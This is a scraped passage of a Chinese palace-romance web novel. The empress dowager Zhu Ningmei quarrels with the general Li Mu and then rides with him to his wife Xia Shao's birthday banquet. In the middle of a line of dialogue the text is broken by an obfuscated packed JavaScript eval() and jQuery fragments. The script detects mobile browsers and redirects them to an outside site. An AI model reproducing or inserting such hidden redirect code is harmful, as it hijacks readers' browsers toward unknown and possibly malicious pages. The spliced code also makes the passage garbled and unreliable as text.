安宁殿小花园的海棠树下,风一吹,花瓣就如雨点般落了下来,梅景行抱着小狗,看着漫天飘洒的花瓣,嘴角露出笑意。
洒扫的宫女见他心情很好,忍不住多看了他几眼。
掌印五官深邃,气质和神情都不似阉宦,他比那些清雅闲散的世家公子还多了几分书卷气。
宫里的姑姑们都想找他当对食,却又自惭形秽,认为自己配不上他。
这些姑姑们,也只敢像她一样,站在远处偷偷多看他几眼。
他掀起眼帘,神色温润,并不会让人感到紧张,唇角还带着温柔的浅笑:“看我做什么?我脸上有脏东西吗?”
洒扫宫女低头回答:“不是,奴才很少看到掌印大人的笑容,有些激动。”
“我笑了吗?”梅景行笑了笑,手指轻轻抚摸着小狗的脑袋,吩咐一旁的小太监:“去,吩咐小厨房,多备些热水。”
小太监不明白:“现在还未入夜,要热水做什么?”
梅景行难得好脾气,没有厌蠢,只是轻声叮嘱:“多做事,少打听,才能在宫里活得长久。”
说完,他侧过头,看向寝殿里那扇打开的窗。
朱凝眉不确定自己现在是什么模样,哭花了妆容,能有多好看?
考虑到她得在大哥把姐姐找回来之前,靠这张脸哄着李穆,于是她擦擦眼泪,她侧过身体,用帕子挡住脸。
“你走吧,我不想看到你。”
说话时嗓音哽咽,还打了个哭嗝。
李穆看她还在纠结这种无关紧要的小事,气得把遮在她脸上的帕子扯了下来,深深叹道:“我又不是先帝,我不在乎你现在是什么模样。别用帕子捂着脸,当心把你自己给闷坏了!”
朱凝眉不信,把帕子夺回来,继续遮脸。
李穆烦躁得在房间里来回踱步,见她不肯搭理自己,更加气恼,暴躁地向她赌咒发誓:“若我李穆因你生病难受而嫌弃你,就让老天爷下雨打雷的时候,把我劈死!”
谁信他呢?
朱凝眉继续不理他。
李穆压下烦躁的情绪,道:“我去把太医找来。”
听见他要去找太医,朱凝眉着急道:“你不用去找太医,我是被你气得吐了。你现在马上就滚,只要看不见你,我不会生气……李穆,我恨你……总有一天,你施加在我身上的所有痛苦,我要千百倍地偿还给你。”
李穆没听懂这话,见她眼尾赤红,声音洪亮,不像生病的模样,这才放心了些。
从前看她总是冷冰冰的样子,哪里能想到,她私下里竟然如此骄纵。
都是先帝把她给惯成这样的。
李穆转念又想,先帝纵她,他不能吗?
罢了,他堂堂男子汉,何必要跟个小女子较真?
只要她别生气,他现在就走。
他退出安宁殿,吩咐梅景行去找太医来给她请平安脉,给她调理身子。
见李穆从寝殿里退了出来,梅景行诧异至极。
喂到嘴边的肉他都吃不着,李穆可真是没用!
难道他从前打仗的时候伤了子孙根,那方面不行?
梅景行听完李穆的吩咐,再次看向那扇窗,立即否定之前的想法。
是李穆道行太浅,玩不过人家。
李穆这一走,连着十日没再踏入安宁宫。
朱凝眉暗自思忖,那日她额头上有疤,还在李穆面前丑态频出,让他见到自己最糟糕的模样。他是不是被吓着了?
她忽然一笑,想起李穆那日赌咒发誓的模样,开始盼着老天爷打雷。
老天爷最好跟她一条心,看不惯他信誓旦旦地说假话,打雷劈死他!
因为太后额头受伤需要静养,今年宫里取消了端午盛宴。
五月二十日,是李穆正妻夏芍的生辰,李穆在府中举办盛宴为妻子庆生,邀请了京城内有头有脸的人参加。
夏芍怕她在宫里闷得慌,也给她递了帖子。
太后尚在孝期,朱凝眉没有仔细打扮,但送给夏芍的礼物却没含糊。
毕竟她现在是太后,可以假公济私地把宫里最值钱的玩意,借着太后给忠勇侯夫人庆贺生辰的名义,送到夏芍手里。
准备妥当之后,朱凝眉打了个哈欠,准备出发。
一脚迈出安宁宫高高的门槛时,她脑子里还在想着夏芍会不会喜欢她准备的礼物,直到她迷迷糊糊地坐上马车后,才发现马车里竟然多了个人。
朱凝眉现在都拿不准该继续惹怒他、刺痛他、看他失态;还是该对他好点。
这些日子李穆虽然没有来,却不断听见小宫女们在她耳边不经意地闲聊,说起李穆曾经收复北疆的一些英雄事迹。
她又想起五年前和李穆圆房的记忆,当时看到他身上那些累累伤痕,她心疼得哭了好久,李穆也抱着她哄了好久。
朱凝眉无聊地啃起了自己的大拇指,和上次见他时的心情不同,她恍恍惚惚地觉得,自己好像是仗势欺人的坏女人。
李穆把她的手从嘴里拿出来,平静地问:“娘娘昨夜没睡好吗?从宫里到忠勇侯府用不到半个时辰,娘娘若是没睡醒,可以睡一觉再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445707|185094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。”
李穆语气卑谦,双目低垂,人模人样得有些不正常!
在马车内近距离看着他那张还算俊俏的脸,听他用这种蛊惑人心的语调说话,朱凝眉只能逼着自己把他做过的坏事都想一遍,才能继续对他板着脸,说:“不用了!”
一路上,朱凝眉目不斜视,心里却在犯嘀咕。
他怎么狗模人样的,不当狗想当人了?
还是他心里又憋着坏?
今日是夏芍生辰,她看在夏芍的份上,给他几分体面,不同他闹。
朱凝眉静心打坐,消除杂念,这一路与李穆相安无事。
忠勇侯府。
盛装打扮的夏芍,领着一众贵仆在门外迎客。
她见李穆先下马车,再扶着朱凝眉从马车上下来,眼神稍作停顿。
片刻后,她笑着走上前,跪下磕头。
礼毕,她才道:“昨日我就跟侯爷说了不过生辰。可侯爷偏不听我的,非要大张旗鼓地给我庆祝。没承想惊动了太后娘娘,真是罪该万死!”
朱凝眉愣了愣,不是夏芍请她来的?
也对,如今人人都知道李穆对太后爱得疯狂,多少人等着看笑话。
夏芍胆小,别人瞪她一眼,都会被吓得整宿谁不着。
她这么胆小,怎敢主动邀请太后来忠勇侯府,任由旁人打量?
这定是李穆的主意,他为什么这么做?
朱凝眉侧头看了一眼李穆,只见他神色淡淡地交代夏芍:“太后能来为你庆贺生辰,是你的福气。你受着就行。你伺候好太后,我去前面招待男宾。”
等李穆走了,朱凝眉才挽着夏芍的手,问:“你过生辰,怎么还有男宾?”
夏芍道:“宾客都是他请来的,我什么都不管,只管收礼就行。”
朱凝眉正想说,她从姐姐的库房里捡了许多好东西,给夏芍当生辰贺礼。
但她还没来得及说出这番话,就见夏芍蹙眉:“怪我我睡得太沉,侯爷什么时候起来的都不知道。他精力可真好,把我折腾一整夜还不嫌累,居然大清早就进宫去了。”
说完,夏芍刻意拢了拢袖子,把手腕上的瘀痕给遮起来。
李穆那方面需求旺盛,喜欢在床上折腾人,朱凝眉也被他折腾过。
但夏芍为什么在她面前炫耀?
朱凝眉心里难受,夏芍变了,居然跟她玩起心眼子。
死丫头!
她恶作剧地撩开夏芍的领子,盯着她脖子上的红痕,道:“李穆真是畜生!你这小身板,吃得消吗?”